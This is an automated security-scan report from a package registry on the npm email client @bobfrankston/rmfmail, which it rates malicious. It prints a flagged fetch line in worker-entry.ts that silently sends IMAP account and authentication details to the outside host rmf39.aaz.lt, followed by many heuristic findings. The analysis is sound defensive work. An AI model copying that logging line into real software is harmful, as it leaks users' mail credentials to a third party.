registry / @bobfrankston/rmfmail / 1.2.303

@bobfrankston/rmfmail@1.2.303

Local-first email client with IMAP sync and standalone native app

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Android account setup automatically transmits account and IMAP authentication data to rmf39.aaz.lt. The remote log request is suppressed and its errors are ignored.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Launching the Android client with configured or cloud-loaded accounts.

Impact

A third party controlling the logging host can receive email addresses, mail-server details, and authentication data.

Mechanism

Remote logging of IMAP account configuration.

Attack narrative

On Android startup, the package loads accounts and calls vlog with IMAP authentication fields and a JSON serialization of IMAP settings. vlog encodes up to 800 characters into a request to rmf39.aaz.lt, a non-provider logging host, and silently ignores failures. This creates automatic credential and account-configuration exfiltration during normal use.

Rationale

The source directly combines secret-bearing account logging with an automatic remote request to an unrelated host. The limited workspace-link postinstall hook does not mitigate this runtime exfiltration.

Evidence

packages/mailx-store-web/android-bootstrap.ts

Network endpoints1

rmf39.aaz.lt/logit/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The Android bootstrap sends verbose logs to the non-Google host rmf39.aaz.lt.
Those logs include each account's email, IMAP host, and authentication configuration.
Startup also serializes the whole IMAP configuration into the same remote logging path.

Evidence against

The postinstall hook only creates workspace package links inside this package's node_modules directory.
The reviewed remote Google API calls are consistent with an email client using the user's OAuth token.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationProtestwareTelemetryUrlStrings

ManifestNo manifest risk signals triggered.

scanned 486 file(s), 19.0 MB of source, external domains: 127.0.0.1, accounts.google.com, api.anthropic.com, api.openai.com, autoconfig.thunderbird.net, bugs.webkit.org, bugzilla.mozilla.org, calendar.google.com, cdn.jsdelivr.net, cdnjs.cloudflare.com, contacts.google.com, cure53.de, developer.mozilla.org, developers.google.com, docs.microsoft.com, drafts.csswg.org, en.cppreference.com, feross.org, github.com, gmail.googleapis.com, graph.microsoft.com, html.spec.whatwg.org, issues.chromium.org, lea.verou.me, mail.google.com, oauth2.googleapis.com, openjdk.java.net, opensource.org, people.googleapis.com, quilljs.com, rmf39.aaz.lt, schemas.microsoft.com, tasks.google.com, tasks.googleapis.com, tiptap.dev, translate.google.com, websemantics.uk, www.cse.yorku.ca, www.googleapis.com, www.spamhaus.org, www.tiny.cloud, www.w3.org

Source & flagged code

24 flagged

package.jsonView file

Lines 12-52json

12 "rmfmail-mcp": "bin/mcp-server.js"

13 },

14 "workspaces": [

15 "packages/mailx-types",

16 "packages/mailx-bus",

17 "packages/mailx-host",

18 "packages/mailx-settings",

19 "packages/mailx-store",

20 "packages/mailx-store-web",

21 "packages/mailx-imap",

22 "packages/mailx-service",

23 "packages/mailx-api",

24 "client"

25 ],

26 "scripts": {

27 "build": "npm run build --workspaces --if-present && tsc -p bin && node bin/build-icon-ico.js && node bin/build-rmfmailto-exe.js && node bin/build-rmfshare-exe.js && node bin/build-rmf-tiny.js && node bin/build-tinymce.js && node bin/build-quill.js && node bin/build-spellcheck-dict.js && node bin/build-bundles.mjs",

28 "watch": "tsc -w",

29 "release": "npmglobalize",

30 "test": "node --experimental-strip-types --test tests/*.test.ts tests/dom/*.test.ts",

31 "test:fast": "node --experimental-strip-types --test tests/dedup.test.ts tests/dedup-newest.test.ts tests/dupcount.test.ts tests/search.test.ts tests/sync-coalesce.test.ts tests/undelete.test.ts tests/body-load.test.ts tests/allowlist-merge.test.ts tests/attachment-bytes.test.ts tests/web-list-filters.test.ts tests/log-changes.test.ts tests/dom/_smoke.test.ts tests/dom/viewer-scroll.test.ts tests/dom/viewer-rerender-guard.test.ts tests/dom/harper-lint.test.ts",

32 "postinstall": "node bin/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L32

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L32

33 },

34 "dependencies": {

35 "@bobfrankston/iflow-direct": "^0.1.68",

36 "@bobfrankston/mailx-host": "^0.1.15",

37 "@bobfrankston/mailx-imap": "^0.1.173",

38 "@bobfrankston/mailx-store-web": "^0.1.105",

39 "@bobfrankston/mailx-sync": "^0.1.29",

40 "@bobfrankston/miscinfo": "^1.0.20",

41 "@bobfrankston/msger": "^0.1.429",

42 "@bobfrankston/node-tcp-transport": "^0.1.10",

43 "@bobfrankston/oauthsupport": "^1.0.35",

44 "@bobfrankston/rmf-tiny": "^0.1.54",

45 "@bobfrankston/smtp-direct": "^0.1.9",

46 "@bobfrankston/tcp-transport": "^0.1.8",

47 "@capacitor/android": "^8.3.0",

48 "@capacitor/cli": "^8.3.0",

49 "@capacitor/core": "^8.3.0",

50 "dictionary-en": "^4.0.0",

51 "express": "^4.21.0",

52 "harper.js": "^2.4.0",

bin/build-bundles.mjsView file

Lines 1-51javascript

1#!/usr/bin/env node

2/**

3 * Bundle client entry points so cold-start drops from ~43 s to ~2 s.

4 *

5 * mailx's msger custom protocol routes every fetch through one IPC channel

6 * (Rust → daemon stdin → response → stdout), so an ES module import cascade

7 * pays a multi-second roundtrip per file. With ~17 client-side modules each

8 * pulling in transitive deps, the WebView is paying that cost N times in

9 * series.

10 *

11 * esbuild collapses the import graph into one file per entry point. The

12 * boot router in index.html stops cascading after one fetch.

13 *

14 * Dynamic `await import(...)` calls stay as runtime imports (rmf-tiny

15 * adapter for the TinyMCE editor, android-bootstrap fallback). Those are

16 * either tiny themselves, or live in a code path the desktop main flow

17 * doesn't take.

18 */

19import * as esbuild from "esbuild";

20import path from "node:path";

21import fs from "node:fs";

22import crypto from "node:crypto";

23import { fileURLToPath } from "node:url";

25const root = path.resolve(fileURLToPath(import.meta.url), "..", "..");

27// A client call the bridge does not carry is a silent no-op, not an error —

28// so it ships. Check before every bundle (this script runs on the way to

29// every publish). See bin/check-bridge-contract.mjs for the case that

30// motivated it.

31{

32 const { execFileSync } = await import("node:child_process");

33 try {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bin/build-bundles.mjsView on unpkg · L5

High

Child Process

Package source references child process execution.

bin/build-bundles.mjsView on unpkg · L31

34 execFileSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), "check-bridge-contract.mjs")], { stdio: "inherit" });

35 } catch {

36 console.error(" [build-bundles] aborting: bridge contract check failed");

37 process.exit(1);

38 }

39}

40const watch = process.argv.includes("--watch");

42/** Cache-bust the bundle references in the HTML entry points with a content

43 * hash. The msger custom protocol serves bundles with no cache headers, so

44 * WebView2 caches `app.bundle.js` and keeps serving the OLD bundle across

45 * daemon relaunches — every client-side fix silently failed to reach the user

46 * until the cache happened to evict (Bob 2026-06-26: flag/Ctrl+A fixes "still

47 * happening" while the daemon was already on the new version). Stamping a

48 * per-build `?v=<hash>` makes the URL change whenever the bundle changes, so

49 * the WebView is forced to fetch the new one. */

50function shortHash(file) {

51 try { return crypto.createHash("sha1").update(fs.readFileSync(file)).digest("hex").slice(0, 10); }

5Cross-file remote execution chain: bin/build-bundles.mjs spawns client/android-bootstrap.bundle.js; helper contains network access plus dynamic code execution. L5: * mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAcce

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

bin/build-bundles.mjsView on unpkg · L5

bin/mailx.jsView file

Lines 222-262javascript

222 const __perAppBin = path.join(process.env.LOCALAPPDATA || "", "rmfmail", "bin");

223 const __rmfmailtoExe = path.join(__perAppBin, "rmfmailto.exe");

224 const __pkgRmfmailtoExe = path.join(import.meta.dirname, "rmfmailto.exe");

225 if (fs.existsSync(__pkgRmfmailtoExe) && (!fs.existsSync(__rmfmailtoExe) ||

226 fs.statSync(__pkgRmfmailtoExe).mtimeMs > fs.statSync(__rmfmailtoExe).mtimeMs)) {

227 try {

228 fs.mkdirSync(__perAppBin, { recursive: true });

229 fs.copyFileSync(__pkgRmfmailtoExe, __rmfmailtoExe);

230 lines.push(`Installed rmfmailto.exe to ${__rmfmailtoExe}`);

231 }

232 catch (e) {

233 lines.push(`Failed to copy rmfmailto.exe to per-app dir: ${e.message}`);

234 // Fall through and try registering the in-package path so

235 // mailto still works, just from inside node_modules.

236 }

237 }

238 const __launcherExe = fs.existsSync(__rmfmailtoExe) ? __rmfmailtoExe : __pkgRmfmailtoExe;

239 if (!fs.existsSync(__launcherExe)) {

240 return { ok: false, message: `rmfmailto.exe not found at ${__launcherExe} — package may have been built without it. Re-run 'npm run build' on the build machine.` };

241 }

242 // reg.exe value for `\"path\" \"%1\"` — double-backslash escapes for

243 // cmd.exe's shell layer, which strips one level before the value reaches

244 // reg.exe. Quoting %1 keeps `?` and `&` from being eaten by cmd before

High

Shell

Package source references shell execution.

bin/mailx.jsView on unpkg · L242

245 // the EXE's argv layer.

246 const cmd = `\\"${__launcherExe}\\" \\"%1\\"`;

247 const keys = [

248 // [hive\\path, value-name, value-data]

249 [`HKCU\\Software\\Classes\\rmfmail\\shell\\open\\command`, "", cmd],

250 [`HKCU\\Software\\Classes\\rmfmail\\DefaultIcon`, "", `\\"${path.join(import.meta.dirname, "..", "client", "icon.ico")}\\",0`],

251 [`HKCU\\Software\\Classes\\rmfmail`, "URL Protocol", ""],

252 [`HKCU\\Software\\Classes\\rmfmail`, "", "URL:rmfmail Protocol"],

253 // Make rmfmail visible in Settings → Default apps → Email so the

254 // user can flip it to default with one click.

255 [`HKCU\\Software\\Clients\\Mail\\rmfmail`, "", "rmfmail"],

256 [`HKCU\\Software\\Clients\\Mail\\rmfmail\\Capabilities`, "ApplicationName", "rmfmail"],

257 [`HKCU\\Software\\Clients\\Mail\\rmfmail\\Capabilities`, "ApplicationDescription", "Local-first email client"],

258 [`HKCU\\Software\\Clients\\Mail\\rmfmail\\Capabilities\\URLAssociations`, "mailto", "rmfmail"],

259 [`HKCU\\Software\\RegisteredApplications`, "rmfmail", "Software\\Clients\\Mail\\rmfmail\\Capabilities"],

260 // Belt-and-suspenders for the Win11 picker's display-name lookup:

261 // some code paths read `HKCU\Software\Classes\Applications\<exe>`

262 // for the FriendlyAppName even when the registered ProgId already

707// session — inherits it. On Windows a process's cwd holds the directory L708: // locked, so `npm install -g` (the in-app self-update AND a manual update) L709: // dies with EBUSY renaming .../rmfmail/bin for as long as we run ... L720: if (!verbose && !isDaemon && !process.argv.slice(2).some(a => /^-/.test(a))) { L721: const { spawn } = await import("node:child_process"); L722: const child = spawn(process.execPath, [...process.argv.slice(1), "--daemon"], {

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/mailx.jsView on unpkg · L707

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = bin/mailx.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.jsView on unpkg

client/app.bundle.jsView file

11966try { L11967: const fn = new Function(`return (async () => (${code}))();`); L11968: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L11966

bin/lean-accounts.jsView file

Lines 116-156javascript

116 const inputPath = args.find(a => !a.startsWith("--"));

117 const inplace = args.includes("--inplace");

118 if (!inputPath) {

119 console.error("Usage: node lean-accounts.js <path-to-accounts.jsonc> [--inplace]");

120 process.exit(2);

121 }

122 if (!fs.existsSync(inputPath)) {

123 console.error(`File not found: ${inputPath}`);

124 process.exit(1);

125 }

126

127 // Resolve jsonc-parser from the local mailx repo's node_modules so the

128 // script doesn't require a global install. The repo root is two levels

129 // up from bin/ — and we walk up further if invoked from elsewhere.

130 let parseJsonc;

131 for (const dir of [

132 path.join(__dirname, "..", "node_modules", "jsonc-parser"),

133 path.join(__dirname, "..", "..", "node_modules", "jsonc-parser"),

134 path.join(process.cwd(), "node_modules", "jsonc-parser"),

135 ]) {

136 if (fs.existsSync(path.join(dir, "package.json"))) {

137 const mod = await import(pathToFileURL(path.join(dir, "lib", "esm", "main.js")).href).catch(() => null) ||

138 await import("jsonc-parser").catch(() => null);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/lean-accounts.jsView on unpkg · L136

139 if (mod) { parseJsonc = mod.parse; break; }

140 }

141 }

142 if (!parseJsonc) {

143 try { parseJsonc = (await import("jsonc-parser")).parse; }

144 catch { console.error("jsonc-parser not found. Install or run from inside the mailx repo."); process.exit(1); }

145 }

146

147 const raw = fs.readFileSync(inputPath, "utf-8");

148 const errors = [];

149 const cfg = parseJsonc(raw, errors, { allowTrailingComma: true });

150 if (errors.length) {

151 console.error(`JSONC parse error: ${errors.map(e => JSON.stringify(e)).join(", ")}`);

152 process.exit(1);

153 }

154

155 const accounts = cfg?.accounts || (Array.isArray(cfg) ? cfg : []);

156 // Promote shared name to file-level when every entry has the same.

packages/mailx-store-web/worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

27const post = (msg: any) => (self as any).postMessage(msg);

29// ── Event emission → main thread ──

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

packages/mailx-store-web/worker-entry.tsView on unpkg · L37

40}

42// ── Native bridge proxy ──

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 13

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = bin/mailx.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = bin/build-rmfmailto-exe.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = bin/build-rmfshare-exe.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = bin/share-target.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = bin/share-target.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = client/android-bootstrap.bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = client/lib/local-service.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/paste-markdown.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = client/compose/paste-markdown.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/paste-markdown.jsView on unpkg

client/compose/paste-markdown.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = client/compose/paste-markdown.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/paste-markdown.tsView on unpkg

client/compose/spellcheck-core.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = client/compose/spellcheck-core.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.300 matchedPath = client/compose/spellcheck-core.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.300 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

Source & flagged code

24 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/build-bundles.mjsView file

31{ L32: const { execFileSync } = await import("node:child_process"); L33: try {

High

Child Process

Package source references child process execution.

bin/build-bundles.mjsView on unpkg · L31

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

bin/build-bundles.mjsView on unpkg · L5

5* mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAccess /

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bin/build-bundles.mjsView on unpkg · L5

bin/mailx.jsView file

242// reg.exe value for `\"path\" \"%1\"` — double-backslash escapes for L243: // cmd.exe's shell layer, which strips one level before the value reaches L244: // reg.exe. Quoting %1 keeps `?` and `&` from being eaten by cmd before

High

Shell

Package source references shell execution.

bin/mailx.jsView on unpkg · L242

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/mailx.jsView on unpkg · L707

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.jsView on unpkg

client/app.bundle.jsView file

11966try { L11967: const fn = new Function(`return (async () => (${code}))();`); L11968: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L11966

bin/lean-accounts.jsView file

136if (fs.existsSync(path.join(dir, "package.json"))) { L137: const mod = await import(pathToFileURL(path.join(dir, "lib", "esm", "main.js")).href).catch(() => null) || L138: await import("jsonc-parser").catch(() => null);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/lean-accounts.jsView on unpkg · L136

packages/mailx-store-web/worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

packages/mailx-store-web/worker-entry.tsView on unpkg · L37

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 13

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/paste-markdown.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/paste-markdown.jsView on unpkg

client/compose/paste-markdown.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/paste-markdown.tsView on unpkg

client/compose/spellcheck-core.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

Findings

1 Critical18 High7 Medium7 Low

CriticalHardcoded Runtime Data Exfiltrationpackages/mailx-store-web/worker-entry.ts

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processbin/build-bundles.mjs

HighShellbin/mailx.js

HighCross File Remote Execution Contextbin/build-bundles.mjs

HighRuntime Package Installbin/mailx.js

HighSemantic Analysis Limitedbin/share-target.js#virtual:normalized:round1

HighKnown Malware Source Similaritybin/mailx.js

HighKnown Malware Source Similaritybin/mailx.ts

HighKnown Malware Source Similaritybin/build-rmfmailto-exe.js

HighKnown Malware Source Similaritybin/build-rmfshare-exe.js

HighKnown Malware Source Similaritybin/share-target.js

HighKnown Malware Source Similaritybin/share-target.ts

HighKnown Malware Source Similarityclient/android-bootstrap.bundle.js

HighKnown Malware Source Similarityclient/lib/local-service.ts

HighKnown Malware Source Similarityclient/compose/paste-markdown.js

HighKnown Malware Source Similarityclient/compose/paste-markdown.ts

HighKnown Malware Source Similarityclient/compose/spellcheck-core.js

HighKnown Malware Source Similarityclient/compose/spellcheck-core.ts

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumDynamic Requirebin/lean-accounts.js

MediumNetwork

MediumEnvironment Vars

MediumProtestware

MediumShips Native Binarybin/rmfshare.exe

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvalclient/app.bundle.js

LowWeak Cryptobin/build-bundles.mjs

LowFilesystem

LowHigh Entropy Strings

LowTelemetry

LowUrl Strings